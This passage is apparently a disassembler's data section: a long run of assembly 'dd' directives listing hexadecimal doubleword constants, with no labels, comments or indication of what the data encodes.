		dd 0FD719048h, 1A58AB63h, 3A3EC880h, 581CE8A0h,	9418E2BEh
		dd 0B26A0470h, 0D1892353h, 0F2AA4416h, 0E0C66010h, 0F963D2C7h
		dd 0BF54289Fh, 0A5CB37EFh, 33B482BBh, 0ABA23D27h, 41DB956Dh
		dd 4A2ADAA8h, 98CEC560h, 564BFA43h, 24455914h, 0FF38228Dh
		dd 0F4848250h, 99A136FFh, 2D47BD28h, 3BA6A843h,	0A15ADF44h
		dd 66962899h, 2E438773h, 6D8DD911h, 0FE000000h,	32E59C19h
		dd 75C0A5B5h, 0D52D24DAh, 83B2A756h, 68226F7Dh,	6CD7D99Dh
		dd 250F679Eh, 85D938Ah,	7C6110BFh, 0F38052BDh, 62AE52E5h
		dd 0D3E63C7Bh, 4C66CBC2h, 0B82445FFh, 3F74C3D3h, 2DC8B2A8h
		dd 5DA88C48h, 9F89F466h, 9A441920h, 0F9A8D728h,	39857414h
		dd 0D3C83A03h, 2899B262h, 0D3F3EA55h, 42D6F4E0h, 0E7FAD911h
		dd 32000000h, 1207CB37h, 226F7D23h, 69182994h, 0A92BE484h
		dd 0F0E739C4h, 0DAC63E96h, 6F7E00BBh, 5B1DE960h, 0F74F394Ah
		dd 237B650Bh, 18F791DFh, 226F8855h, 0CD7CF40Eh,	856F05FFh
		dd 50E9F3EAh, 0C0DC5B6Bh, 0C6BD5B1Ch, 73587A88h, 2EFB5930h
		dd 49ECE1B5h, 6E227038h, 0A7D13503h, 75CAC96h, 5F700201h
		dd 0CE3301B0h, 6E44A9A0h, 53244616h, 499E4EE8h,	0F65C5100h
		dd 0BB2A6E63h, 24F2A150h, 412DD4DDh, 0C1ABBC57h, 13F12F26h
		dd 3E4B261h, 4D26D57h, 0EC8771FDh, 0D133EBF5h, 86A09DA3h
		dd 4FA96463h, 18DE03h, 5A02E600h, 75F908C0h, 92E023DBh
		dd 0B2C640F8h, 0D0A46018h, 0C905A36h, 2AE27CF8h, 49019BDBh
		dd 6A22BC9Eh, 583ED898h, 0FAEB4A3Fh, 37CC289Fh,	0A7CD3767h
		dd 25AD550Dh, 6F7D0530h, 3E4FBA22h, 0EA3FD2A4h,	0B5FDF2A1h
		dd 0FA244556h, 1326A58Fh, 0DD2899A7h, 0FCCEBAADh, 0D4D91137h
		dd 0DAh, 0A5CB370Ch, 9BBF28F6h,	903116B1h, 0A03857E9h
		dd 267ED8CFh, 2DAC96DEh, 22704840h, 0DA89E71Bh,	887FDB0Ch
		dd 773CC67Eh, 0ECD6E78Dh, 4FFE479Ch, 4626585Ah,	23DEAC24h
		dd 0CFC6614Bh, 7543F25Dh, 0E1EBE28Ch, 0E8887A48h, 1860A6FEh
		dd 85DA1007h, 0C9988D3Ch, 462A6EB1h, 895E2CDBh,	0B9AEE7D1h
		dd 2275D17Ch, 0E2C7D843h, 8CDF1C6Ah, 35544B2Ah,	28D79D67h
		dd 0E1B18479h, 9B062275h, 22E29AA4h, 0C3FB4C52h, 0F44E6463h
		dd 17F2A8h, 6EEEFA00h, 89E51CD4h, 0A6CC37EFh, 0C6B2540Ch
		dd 0E490742Ch, 20A46E4Ah, 3EF690E4h, 5D15AFC7h,	7E36D08Ah
		dd 6C52EC84h, 0FBD75E53h, 53E8289Fh, 0A7CD3783h, 9ADA2AF8h
		dd 141E15B0h, 30CAA65Ch, 42F3E897h, 75226F7Dh, 0ADC93C0Ah
		dd 71565EB6h, 0AFA94ABEh, 0C705FC0Eh, 0F34B353Bh, 17C7610Fh
		dd 0D5CA79C2h, 2445E81Dh, 0AB9863A2h, 4033FF73h, 35B2802Fh
		dd 55D42E25h, 2899D8E4h, 0FDE9DC0Ch, 0D91165CDh, 0E303h
		dd 85163B00h, 4ABCC217h, 98A9442Eh, 5BFEF4E9h, 58C32445h
		dd 4E0CDBA9h, 0A9D2C964h, 200327C4h, 0E51DEBFDh, 0F06A18Bh
		dd 8C3B84D9h, 602F73A7h, 7C73D7A6h, 168A685Dh, 0BC27F6F6h
		dd 0E42D82D2h, 97524035h, 46FF8DDh, 387B8755h, 4D7CD1C9h
		dd 9DCE66Bh, 0B44DE7F8h, 72FAB1CFh, 3930E20Dh, 0F19507FBh
		dd 452FD5C5h, 3D803E60h, 276BED48h, 5667D2F5h, 4F123F45h
		dd 0DD373715h, 16EA91h,	66F6F200h, 81ED14CCh, 9ED42FE7h
		dd 0BEBA4C04h, 0DC986C24h, 189C6642h, 36EE88ECh, 550DA7CFh
		dd 762EC892h, 644AE48Ch, 0FCDF564Bh, 4BE0289Fh,	0A5CB377Bh
		dd 0CD166BBBh, 87D391Eh, 10FF5F7Ah, 6FED1A1Bh, 21329D22h
		dd 0DC160B2Ah, 552445D7h, 978C3BEAh, 2899E89Eh,	2E4CD33Eh
		dd 0B0D5268h, 0CD9FA9A0h, 463A7156h, 0A4C76E63h, 8DF8226Fh
		dd 475622A8h, 6CAAF150h, 7FF11117h, 4210BF6Eh, 54B9B0C0h
		dd 2445959Eh, 60FFB823h, 550FE67Bh, 0A89FF964h,	721C8443h
		dd 0D51E73ABh, 5BA97726h, 35BD2219h, 0FAA547CBh, 55A58Fh
		dd 816B0BFAh, 3126D5E6h, 0AB6B4B61h, 3604B31Eh,	520AA4CCh
		dd 0A1BAC0B0h, 0A8E5632Eh, 161D024Eh, 0C3250000h, 0BA47FF99h
		dd 0A1621AB4h, 877F37D1h, 659F57F1h, 0CF99750Fh, 21BBB94Bh
		dd 40DA9C69h, 61FB5F88h, 7D1759A9h, 0AC897E97h,	13289FFEh
		dd 0CB37AE7Eh, 6B5519E8h, 0ACB9BFD0h, 9D645D5Fh, 15D9F743h
		dd 7E10000h, 0FE03BB55h, 0E51ED670h, 0CB3BF38Dh, 0A95B13ADh
		dd 8B5531CBh, 0DD77FD07h, 0FC96E025h, 1DB7A344h, 39D39D65h
		dd 0F0453A53h, 0C7289FFDh, 0CB376232h, 7D231207h, 2994226Fh
		dd 89DE2E18h, 129C9140h, 9724454Fh, 2C3DC958h, 5D6E0043h
		dd 72C0EAC3h, 3025D41Dh, 2A6FEAC2h, 77E304D2h, 37050E80h
		dd 22BDA7CDh, 7025082Dh, 7644AF22h, 63FEE890h, 0B7B49952h
		dd 0A4BEC86Dh, 0C273684Fh, 0F5BF178Ch, 8D3EF7ECh, 1681BF17h
		dd 5045F405h, 0C0ED6EA2h, 7ACAB41Fh, 8EE41F25h,	49F809A4h
		dd 3FF6EB9Ah, 80BCF1AFh, 0D9B91E15h, 96BEC52Fh,	0E8CD7C2Bh
		dd 2BE49071h, 0AACC3947h, 9E64A299h, 828038D2h,	8787E8EEh
		dd 68C2010Ch, 150A1Ch, 86D61200h, 0A1CD34ECh, 0BEB44F07h
		dd 0DE9A6C24h, 0FC788C44h, 38BC8662h, 560EA8CCh, 752DC7AFh
		dd 964EE872h, 846A046Ch, 0FEBF766Bh, 6B00289Fh,	0F771569Bh
		dd 90507005h, 0A88DF2E9h, 6222707Ch, 17016D94h,	1920857Ch
		dd 0B322706Ch, 22705C86h, 3129BE8Ch, 50B5AC47h,	22707BE9h
		dd 7278F80Ah, 645E5F07h, 0A09CE842h, 0A8000014h, 0CA821C40h
		dd 0E59D3737h, 2BA541Eh, 22DA7404h, 1CF892E2h, 3E36CE52h
		dd 5D19ECA4h, 7EDC0BC3h, 9AD62CE4h, 0C011A00h, 289FFF29h
		dd 3F29F98Eh, 0FDF2A1EAh, 244569D9h, 562D339Eh,	0F36A8775h
		dd 14594D99h, 87610000h, 7E833BD5h, 659E56F0h, 4BBB730Dh
		dd 29DB932Dh, 0BD5B14Bh, 5DF77D87h, 7C1660A5h, 9D3723C4h
		dd 0B9531DE5h, 70C5BAD3h, 47289FFFh, 0CB37E2B2h, 9F63BBA5h
		dd 7CF73E33h, 5DC8226Fh, 0BDE5624Ch, 9ECDECAh, 17E4D2E7h
		dd 1C000000h, 6F7D2910h, 3838CA22h, 0FA81BF9Eh,	49332234h
		dd 13F6FDh, 0CB373B00h,	0D928F6A5h, 0F4449E95h,	0B6D999Fh
		dd 20564BFAh, 0A1244566h, 97EC9C36h, 0DCAA9F4Eh, 9D2A6F6Fh
		dd 13F04832h, 54E6C55Fh, 0C0226FB0h, 926010F2h,	801B0555h
		dd 0B8B64B89h, 0D0655A09h, 0E7226FAFh, 861A0FA8h, 0A9BAC66Bh
		dd 11F0A8B2h, 8C9AE5Dh,	27A4CF80h, 0C9025C53h, 7F6907FBh
		dd 89D116E4h, 0C1AD5492h, 4C3F49D7h, 0EB18E695h, 0E4A39287h
		dd 0A914226Fh, 0E18D74B2h, 75517947h, 5D7FD2E7h, 0F0000002h
		dd 0A892E222h, 0FFD5280Dh, 0CDF00CC0h, 0EA3F7ED6h, 7D270E03h
		dd 5998226Fh, 0BBE7F910h, 4A5B6CBDh, 2E8CA69Bh,	0BA252446h
		dd 0AAC43D0Bh, 0D42E25C0h, 4FE9857Ch, 2E72D1B6h, 0B05035B5h
		dd 99BD7ABBh, 0C1D23D28h
		dd 6E6513F3h, 0B39DD130h, 99AD0534h, 9E6CFB28h,	89240E66h
		dd 0C87F7292h, 726909FAh, 7A1CD34h, 0E62A06Eh, 5C928924h
		dd 600FBE07h, 99CCCA6Bh, 3DC5ED28h, 9DAE4933h, 809287A6h
		dd 942A6F99h, 65DC7EAFh, 9B4A1A99h, 6FD28FA6h, 0CEC53022h
		dd 0AF07F15Ch, 0EC851F55h, 0A791C91Eh, 2DD7150Ch, 5DDE5D47h
		dd 0A7226FD2h, 0B64E2417h, 1F7424BEh, 0A08AEC19h, 5045F405h
		dd 2445B94Eh, 0A6FEE853h, 0C27A145Ch, 0C7463040h, 2899CA6Eh
		dd 390F0292h, 550DA7C9h, 4513C2ACh, 6907FBA2h, 0CE076158h
		dd 0CA0B2A1Fh, 22E02899h, 0C7C9644Eh, 0DA27655Ch, 0B452AA94h
		dd 8282DAC4h, 95E124F2h, 0DDD060ABh, 0CA043126h, 50BB2899h
		dd 3E313B3Fh, 3BD59968h, 115B5D6Dh, 9B73D9h, 37AB0000h
		dd 65BDA7CDh, 5DEBD59Fh, 7A8A6053h, 0E2C760FAh,	0BBC2FF47h
		dd 97EBE22Fh, 0D2E74A33h, 789Dh, 0CB37D500h, 9F63BBA5h
		dd 4F59E7D1h, 0F47C865Ch, 0A3E8C5Ah, 5E92D2E7h,	3000000h
		dd 0ACA3CD35h, 0E4EA3F54h, 9140511Dh, 1829FDE2h, 0F4DE574Ch
		dd 76E1226Fh, 3B23891h,	20F7A70Ch, 79B82446h, 0DF419AF6h
		dd 1EBFC39h, 99B3B782h,	16093928h, 0E8CBB05Fh, 71973338h
		dd 7C42F3E8h, 0A75289Ah, 90BBF13h, 0B1C5D912h, 36000000h
		dd 2CDB7F68h, 9A73FE37h, 5F56C128h, 0A1EA3F07h,	59EDFDF2h
		dd 47B22445h, 72FC055Dh, 161F14C3h, 0A92899A2h,	0A43D473Eh
		dd 0DE68E5BFh, 62030F3Eh, 0E4C629C8h, 9FDDD4E5h, 8F5D0C62h
		dd 5D520177h, 289A08D8h, 237D74DFh, 4E3836CBh, 0EDC3B6C0h
		dd 0F2C05A14h, 0D91199D8h, 8B4205EAh, 96CBDD0Dh, 448E9Fh
		dd 3FC60000h, 0F8ED9CE5h, 5D9083DDh, 99DF27F5h,	0AB1D14AFh
		dd 62D75640h, 91A26F7Dh, 0B5C34372h, 351F30CBh,	604A24DDh
		dd 79928515h, 0A472657Fh, 5D52014Ah, 0DD908178h, 0A13AD43Fh
		dd 4A412FD3h, 718h, 4F435600h, 81000000h, 0BCA6CC37h, 22D19D64h
		dd 0DDC79354h, 0A8414B42h, 7D3104F9h, 2DBA226Fh, 0A6A8432Dh
		dd 0FB06443Bh, 0DF6C473h, 0C4146E65h, 39236Ch, 1262A91Bh
		dd 0B9B0248Dh, 90EF6C54h, 3B2E5EDDh, 0E6A07B4Fh, 8C7947D2h
		dd 6E6500EAh, 0B955Dh, 0E73F9500h, 265EB3CAh, 5A6BE13Ah
		dd 4D27DDABh, 77D1C863h, 0C4F74CF8h, 130636ABh,	7DB8AD5Ch
		dd 42AC1B17h, 3E8CE0D7h, 925C92A4h, 3Eh, 9EE73FCAh, 7D3BFAEFh
		dd 117C226Fh, 36F9462h,	2D877E19h, 98E026F4h, 0B71C13AEh
		dd 8B1CB1E0h, 0FAB1A4D4h, 0B49EDA2Ch, 0FCCE2219h, 0D47C5ADAh
		dd 269h, 0E6246045h, 9DD1FE21h,	0E73F4EA6h, 40F9B69Eh
		dd 0A519565Bh, 928975DAh, 0D1CB373Ah, 1FE2B15Ch, 0B54C6A4Fh
		dd 5321D0E1h, 3ED9C3B1h, 8856EF47h, 0AEC63E5Fh,	211829C4h
		dd 0D67459F8h, 0F32F9795h, 21096158h, 0D3E711B9h, 0F5A75B29h
		dd 0FB17B518h, 443B4CF3h, 3C33h, 0F5A400h, 1F6FF835h, 0CF9F628Ah
		dd 3F6FC7BEh, 56B69EE7h, 6F7CD961h, 937BE622h, 69377156h
		dd 11D36830h, 5613FB1Ah, 7D83B2A7h, 0C934226Fh,	36F94D2h
		dd 43BD071Bh, 38h, 0E1E73F81h, 93425325h, 413822C5h, 0D96156E9h
		dd 39226F7Ch, 0C506986Bh, 0CAA88C60h, 33CEB8C9h, 0E8D29C65h
		dd 0B6A7564Dh, 376E56CEh, 29F7A6CCh, 13AE98DAh,	0BD07C41Ch
		dd 0FB5F8856h, 1A7F7611h, 0F5A5596Fh, 3AD4A064h, 0E4F08082h
		dd 707CF80Ch, 0CCA29525h, 0EF897D36h, 0A0596A05h, 0A15020E2h
		dd 73412FD3h, 6EEAE18Fh, 0E220E675h, 0E835A48Eh, 0DF70C7D3h
		dd 0D6986937h, 4336C0ECh, 45384A2Ah, 24DD936Fh,	5369A085h
		dd 8EEB435Ch, 0C7A95997h, 6F21E3BBh, 0FA3A00CBh, 0A57D89F4h
		dd 0D52D1761h, 0F5A442Eh, 32738C7Fh, 452FD5A3h,	13F2C05Bh
		dd 0E7DE7963h, 4FED4C7h, 0FF5B36Ch, 74427B65h, 5CF7E18Dh
		dd 9B5E0665h, 4ABA9083h, 48F7902Ah, 3A00E253h, 736AD5FAh
		dd 0F4A3CD35h, 0AF99C126h, 0C9A11D14h, 0E5553Bh, 5F2DFA3Ah
		dd 4660FE88h, 8DF2CE21h, 5DD8CD7Ch, 62FA3A19h, 238E00F7h
		dd 0CFC24A17h, 0AE6709F9h, 62A112F0h, 55222B10h, 0BE138D79h
		dd 0B0A8A1ADh, 3107FA8Ch, 0E2CCCBD1h, 0BC327B0Fh, 4F6018EEh
		dd 462AD896h, 0D2A2623Ah, 7EC7BC6h, 20158174h, 0FA398C15h
		dd 6B5A3FAAh, 8BABA204h, 3040C298h, 0CB379F77h,	7156BDA5h
		dd 0F2923395h, 0E7DC8B92h, 22705A4Eh, 930F0671h, 9CE53FA1h
		dd 8CE21FEDh, 0B81007A2h, 0B921744Ch, 37D3E711h, 2Bh, 4828DAA8h
		dd 74CCC35Eh, 0B49CE53Fh, 7CD96156h, 0DDE6226Fh, 6F7D4DE8h
		dd 0F6077222h, 376E560Eh, 7BCA4CAh, 2743BDh, 3F810000h
		dd 50FC8E5h, 2C6EF906h,	8856331Bh, 0DFFEF579h, 6F7D50EAh
		dd 5B433422h, 0CA376E56h, 0DA27F5A4h, 7459D94h,	6E0410BDh
		dd 0ECAE226Fh, 0FFFFFD36h, 7D29102Ah, 7AD2226Fh, 0D4E59174h
		dd 0C6AC5725h, 404A41DCh, 0DF77B88h, 6F7DA78Eh,	13062022h
		dd 12ACC63Dh, 2DC7A75Ah, 0F0DA237Dh, 392FFD71h,	0D0C3F360h
		dd 3D5CE6E4h, 210EA15h,	8D5B0000h, 0B109005Ah, 6F7D2A10h
		dd 357ED322h, 69319186h, 83EE2445h, 0A0D231E9h,	0CBA35EB6h
		dd 0DDAA8E1h, 0E918564Dh, 0F64B9B85h, 0C909FEADh, 662A6F7Eh
		dd 6198F5FBh, 57B1645Dh, 0D7E0Bh, 0FA628600h, 1559A860h
		dd 3240C37Bh, 5226E098h, 700400B8h, 0AC30FAD6h,	0CA821C58h
		dd 0E9A13B3Bh, 0AC25CFEh, 0F8DE78F8h, 64BEADFh,	0D76C28A0h
		dd 0A5CB3707h, 0CD166BBBh, 63A16F1Eh, 3FB51A11h, 245F08h
		dd 0EB18E695h, 0ECF3D887h, 53DE3F5Fh, 40F802F9h, 6111F2C3h
		dd 0F3047293h, 1F51B109h, 93F78B70h, 399DE864h,	6D268054h
		dd 5249ABAAh, 4D53A8F8h, 0FFAEBFB9h, 765A040Ah,	343AA52Ah
		dd 64784D63h, 0F4408CE6h, 0FC00000Ch, 1ED670ECh, 39F18BE3h
		dd 560EA8CAh, 762EC8B0h, 704CE68Eh, 92E222A6h, 0B1C540F8h
		dd 0D2885F17h, 0EE828038h, 60556E54h, 28A006D5h, 378555EAh
		dd 6BBBA5CBh, 501ECD16h, 3AD5BFB3h, 0F1DB976Ch,	91405F56h
		dd 4C3624C3h, 7C6612F4h, 74D9D0E1h, 244569D6h, 0A371208Bh
		dd 121C1361h, 19C8A85Ah, 0C689C6Ah, 99921E17h, 5136A128h
		dd 0C1195ACEh, 89938AD6h, 8C3B84D9h, 6EC1F8DDh,	0E175A0B4h
		dd 226285EAh, 6AD52A89h, 685D0CBBh, 2289DDCDh, 529087F2h
		dd 6F27C1B1h, 93E52194h, 0C2409882h, 1F74C4AEh,	0DC3227D6h
		dd 0F0245FD6h, 0AB90E022h, 0C381B91Ah, 0EF6158B1h, 1E237E84h
		dd 0CC266A8Eh, 0C2E80h,	0AAB23600h, 0C5A95810h,	0E290732Bh
		dd 2769048h, 2054B068h,	5CE0AA86h, 7A32CCA8h, 9951EB8Bh
		dd 0BA720C4Eh, 0A88E2848h, 89B9A8Fh, 871C28A0h,	0A5CB37B7h
		dd 99DD28F6h, 0A3F848A2h, 4B6AB5Ah, 10244572h, 0E4B2C242h
		dd 0E95B521Eh, 6AD56FAAh, 3503DBEAh, 0FA94A5CFh, 0AFBF42h
		dd 30D95C51h, 3C31289Ah, 289A30F9h, 0E65153BEh,	0D62DE5EFh
		dd 0BA69029Ch, 9A3170C5h, 0EDC4728h, 0F7927CF4h, 0EA3FA800h
		dd 7543F2A1h, 5DF8E28Ch, 65690166h, 6BD62445h, 61F9EEBCh
		dd 0A891106Ah, 48289995h, 91392518h, 3FD91125h,	69h, 0A4CA3777h
		dd 0CF9F62BAh, 23DEACE5h, 0CFC6614Bh, 19037591h, 942E40C1h
		dd 97468FE4h, 4563F8A2h, 181E8924h, 6A877F93h, 54105CB6h
		dd 5C00000Bh, 7E36D08Ch, 9951EB83h, 0B66E086Ah,	0D68E2850h
		dd 0D0AC462Eh, 0F2828206h, 1165A058h, 3228BF77h, 4E22E098h
		dd 0C0B5CEB4h
		dd 28A00875h, 37E5B54Ah, 5E0AA4CAh, 5Ah, 0A4CA379Ch, 9AC027F5h
		dd 0A4F949A3h, 0A6C7AC5Bh, 8B556DB4h, 9388A79Eh, 24464F3Fh
		dd 268F9500h, 236A8852h, 0AF17DC9h, 0EFF90000h,	0E61BD36Dh
		dd 0CD36EE88h, 0B3530BA5h, 91732BC5h, 0A36D49E3h, 0F58FE51Fh
		dd 14AEC83Dh, 35CF8B5Ch, 51EB857Dh, 0D85D526Bh,	0DF28A008h
		dd 0CB377A4Ah, 5247F6A5h, 226F7CE3h, 187269D4h,	442E42C0h
		dd 0F5AC9FC7h, 7CE45146h, 0D2DB226Fh, 6F7D58DDh, 0E3F45F22h
		dd 0A3298ECh, 569ED2E7h, 0D6000002h, 0D227B516h, 0DE5DA89h
		dd 0B224455Ch, 21EF8E47h, 0BA690E2h, 0FBEDAF14h, 7DD2D822h
		dd 26908534h, 9B1A02F3h, 0A1F64630h, 0DEB4A958h, 0A317DA8Dh
		dd 4BBB8938h, 4917362Dh, 6707FAB9h, 37D1E27Dh, 0E7ED837Fh
		dd 5A1770D8h, 40CB1771h, 4800000Ah, 6A22BCA0h, 853DD797h
		dd 0A25AF47Eh, 0C27A1464h, 0BC983242h, 0DE966EF2h, 0FD798C44h
		dd 1E3CAB63h, 3A36CC84h, 0ACA1BAA0h, 28A00989h,	56C9992Eh
		dd 4277E571h, 887FD85Eh, 0CDB7B74Ah, 30DF287Dh,	5FBE6A3Bh
		dd 3D18024h, 0B48176E4h, 2828A049h, 0BA88470Dh,	26D6F53h
		dd 7F2E990Bh, 882254B1h, 574135D0h, 0BA69B207h,	75B915C5h
		dd 903FAA2Ah, 3E3525C2h, 5B4511Fh, 0CC667701h, 9B85F114h
		dd 0E3DDBF43h, 0C7815C91h, 90393F50h, 0B9647808h, 9A9135Fh
		dd 37B10000h, 2ED38B25h, 15EEA640h, 0FB0BC35Dh,	0D92BE37Dh
		dd 5B25019Bh, 0AD472DD7h, 0CC6610F5h, 0ED87D314h, 9A3CD35h
		dd 20150A23h, 9728A00Ah, 0AB083202h, 226F7D82h,	7420132Dh
		dd 87367FD4h, 457D4892h, 0DF8EF924h, 0E680F211h, 1D877F4Dh
		dd 5C30724Fh, 220C1D45h, 4F3939CAh, 0FFF4A3B4h,	2899A736h
		dd 0F1271E89h, 75C0B59Ch, 7E2899A7h, 0C5EDEF87h, 1324353Fh
		dd 0FBDE6F64h, 36A12A6Dh, 2749B987h, 2DD4A23Dh,	5D2B4A41h
		dd 0A9F50EA5h, 0A11B51BCh, 0CCDDEE55h, 0E8887A32h, 639AF1E2h
		dd 0B2FE5864h, 903h, 0E57FDD0Bh, 9AD42Dh, 1DB7BB48h, 3DD7A165h
		dd 5BF57F85h, 0D331B57Fh, 0B64F07A1h, 796E26C0h, 738F47E1h
		dd 647D63FDh, 0A00AC66Fh, 9464F928h, 83B2A756h,	68226F7Dh
		dd 56F1DB7Fh, 0E91BE954h, 0A2F948Bh, 8226F7Dh, 33FF5823h
		dd 0D9D091AFh, 6F09679Bh, 0A1646ABFh, 241B6301h, 5F70B431h
		dd 1AC9DA75h, 37BF766Bh, 95002270h, 2D07F9Eh, 167B7202h
		dd 2445ED92h, 20150A13h, 97289A72h, 9E6C1B2Ch, 88883D49h
		dd 17FC748Eh, 50421AFh,	0C9CA48A0h, 23BDCEDFh, 2C48BC8Ah
		dd 6AF0F735h, 5A14EDBBh, 2D00963h, 58DDD200h, 5F289A44h
		dd 5EF9E3F4h, 8493567h,	0DEAC0000h, 61777C28h, 0C9051CC6h
		dd 3C33CEB8h, 0A1EA3FE4h, 68C5FDF2h, 818A2445h,	9991A98Ch
		dd 92A30E28h, 911029A8h, 0B1E02899h, 91280D02h,	248F2899h
		dd 2E1A0D2Dh, 0D911219Ch, 14934h, 0B0376C00h, 0B987C0AAh
		dd 0A6412B4Dh, 7D3302F7h, 1984226Fh, 5521E422h,	8DABC1A6h
		dd 0EB98E91Ch, 554C5D1Bh, 115FA3FBh, 4218CF27h,	63F7F0A8h
		dd 8CD52979h, 7315E8DDh, 0EF5A2270h, 74678105h,	963D499Eh
		dd 717F6925h, 725C12EFh, 1BB5C6D7h, 0ECD68463h,	6F9A546Dh
		dd 3C0A2322h, 29C4AECAh, 491F1232h, 8922BC9Eh, 9B902CBBh
		dd 226F9B9Ah, 0B7A1B21Dh, 1E73371Ch, 28557140h,	8AA7FB31h
		dd 0CABFA810h, 2270456Bh, 0D8FCE14Ch, 59AB7970h, 8596311Bh
		dd 9B4CE1D6h, 873226Fh,	373FC61Eh, 9920E59Dh, 0A93E0C4Eh
		dd 5EB6A0B1h, 5EE2CCA4h, 94A19645h, 2B226F9Bh, 8771FF03h
		dd 0C4E4DBECh, 6C0AFBD1h, 0CEEB1AD2h, 422C3D35h, 0A5549DF2h
		dd 5F492FD7h, 650DF6C4h, 0CAE9E07Bh, 458C09D5h,	89238E24h
		dd 584234D1h, 0BC6BB408h, 998C6AC7h, 0F4E99828h, 28998C41h
		dd 8C61D4C9h, 0EB562899h, 15877EE9h, 223CC0AAh,	0CAAC592Fh
		dd 0E98D7830h, 115AAFFFh, 1F7E7D62h, 60FD5C1h, 8BFBF00Fh
		dd 0CC2A6FB9h, 492EC761h, 0C3B89395h, 22705972h, 72F5DA45h
		dd 5C9A9197h, 0AFD710A9h, 0E7BEE4E5h, 8C9DAE22h, 0ADAD3AF2h
		dd 0EA3F4113h, 79FDF2A1h, 3E244566h, 0E2B0E9D3h, 1D5B5222h
		dd 0C91EECE4h, 170CA791h, 2899961Eh, 43452FD5h,	942DC7D8h
		dd 9645F0E5h, 0F7A2899h, 0E53FC018h, 8DD848C8h,	92A317D0h
		dd 82EC15E3h, 49F8318Bh, 6FF4E154h, 9D6BD622h, 0AF140B65h
		dd 226FF58Ah, 8C433666h, 473129BEh, 6961B5ACh, 67D2E786h
		dd 49h,	0B84F3D8h, 81E366E7h, 0CA37328Ah, 0FA3BBAA4h, 0F1226F7Ch
		dd 1F776113h, 15A38DE3h, 0C342180Bh, 1D2EC9B3h,	5F160923h
		dd 32DE477Ah, 6C63261Ah, 19BD32Eh, 6FC35322h, 8B13D522h
		dd 8AFFFFFFh, 0DABBF5A5h, 9D94B279h, 0A5CB3745h, 8A0311F6h
		dd 0C4501D64h, 0A91B75CDh, 0B49CE53Fh, 0B921996Bh, 37D3E711h
		dd 66h,	0C8E53F6Fh, 0A7E2C97h, 8B3A4BA9h, 442E48BDh, 0B3A23CD5h
		dd 3647E478h, 0A756E73Fh, 9DBD2AF8h, 6F7D8DA8h,	34293222h
		dd 226F7D01h, 433A4BB6h, 6F7D57DEh, 15FD6822h, 0F87C8856h
		dd 0B29CDC2Ah, 19012017h, 0E3D0CA37h, 0BC78423Ch, 0CADB7F68h
		dd 5FF9F0E5h, 566741B0h, 7D88566Eh, 4A9402F9h, 2743h, 0E53F8100h
		dd 6156B49Ch, 226F7CD4h, 9B9A8F3Eh, 1C226F7Dh, 1A0BBAB1h
		dd 7C885632h, 7C730EF8h, 0CA37755Dh, 0BD07BCA4h, 0BCA6CC37h
		dd 6F7CF83Dh, 0E0AEC722h, 0CA654F23h, 0EAC0B3D3h, 0DCAA5919h
		dd 0A1017A2Ah, 0BFA08A78h, 14ADB7AEh, 0CBB5BD46h, 74D43930h
		dd 1622705Ch, 0FFF41F54h, 0CA3792FFh, 0DE27F5A4h, 0E797A198h
		dd 7FB6AB92h, 74226F7Dh, 75E0E28Eh, 66C0B564h, 5B244549h
		dd 0B28706F0h, 412899B1h, 181D12C2h, 9F2899B1h,	0E1392334h
		dd 76BFB424h, 492899B1h, 0AAE3CDDEh, 99B180B5h,	0BCC3728h
		dd 9E6F887Bh, 0FDBC06Fh, 0B6CBECB0h, 54C47166h,	90FB289Ah
		dd 9A867999h, 0D911E230h, 564BAD92h, 69AD1894h,	76172h
		dd 43990000h, 1, 0A1EA3F81h, 5689FDF2h,	63CE2445h, 561EE6B4h
		dd 54AD055Fh, 0C7BC6B1Ah, 2899A76Eh, 0E5EFE651h, 99A70D06h
		dd 4D0DDA28h, 6EECFBB3h, 0BF4B0B84h, 0EA422C42h, 4F6F5919h
		dd 65A1BAADh, 6D05FECCh, 8D635676h, 0AE66005Ah,	0BE6D1C54h
		dd 99A76CC9h, 0F1E85328h, 0B659D75h, 3124B4FFh,	10C9A75Bh
		dd 11A92138h, 3419D367h, 0AEA80B45h, 0B0C83E33h, 0DF97A89Fh
		dd 0CF000000h, 0BAA2EB3Fh, 7CD96156h, 6B39226Fh, 34E3DA98h
		dd 2CAF9443h, 707F7757h, 87A0E3C8h, 51479E6Bh, 6E56025Ah
		dd 0F77B8856h, 0FCECE000h, 0BDA5CB37h, 0ED14E21Bh, 5FC9781h
		dd 7C8856ADh, 7C730EF8h, 1CE6EC46h, 1D076D97h, 0EC877182h
		dd 996BF3DBh, 0E711B921h, 5A37D3h, 3F6F0000h, 2C09FEE5h
		dd 93226F7Dh, 0B1847928h, 6226F7Dh, 56A28A9Bh, 4F8EC2A7h
		dd 0FFC5727Bh, 70272B0Ah, 10218C22h, 2781B419h,	0CB362270h
		dd 7D8856E3h, 34E302F9h, 70009C66h, 0ED27D5BCh,	46E1CBDCh
		dd 0CA37F74Fh, 0BD07BCA4h, 83B2A756h, 34226F7Dh, 25A0D2C9h
		dd 0DE000000h, 0B49CE53Fh, 7CD46156h, 0BDAE226Fh, 0D9A756D5h
		dd 0FA52492Bh, 0BCA4CA37h, 83B2A756h, 34226F7Dh, 1A64D2C9h
		dd 0FFFF0C43h, 0CB3781FFh, 0AA591DE8h, 6F7D80B5h, 0BBCC3722h
		dd 0ABC33E0Ch, 25AB4h, 0D126D670h, 32F4D988h, 0AD6DFBFAh
		dd 7DDAA4CEh, 9FB00F63h, 0D69489A8h, 4B2445B9h,	17FE460Ch
		dd 8B9CD2EBh
		dd 191722A1h, 2ADC289Ah, 0DB0C644Eh, 0B526957Fh, 903E1CFDh
		dd 0F029253h, 5BD26358h, 7AE5289Ah, 75689869h, 11E94189h
		dd 278FD9h, 3FC70000h, 24F2A1EAh, 11AC96E2h, 0AC06FB1Ah
		dd 5244556h, 831B09Ah, 0E82899A7h, 0F1D9C5B8h, 0DFD91137h
		dd 0E2h, 0A5CB3717h, 0D3A163BBh, 0C5AD5624h, 5A94EBE0h
		dd 0D4CB7902h, 90E0227Ah, 0FFB44EA6h, 0AD5C6D03h, 675127DFh
		dd 0ECCBD5CCh, 226F8F81h, 0F4659479h, 736B3648h, 0ACC43E7Ch
		dd 0C8A85A12h, 2CD7A5DEh, 0EF87A89h, 356B6273h,	0F3E897E0h
		dd 24456B47h, 795E0D78h, 9829484Eh, 0E205D3A6h,	0C7778178h
		dd 0DC986C72h, 974657F2h, 6E9247A2h, 867D4B2Ah,	1883F5ECh
		dd 8669B69h, 0E024F211h, 33442AD7h, 5123E199h, 63D1924Bh
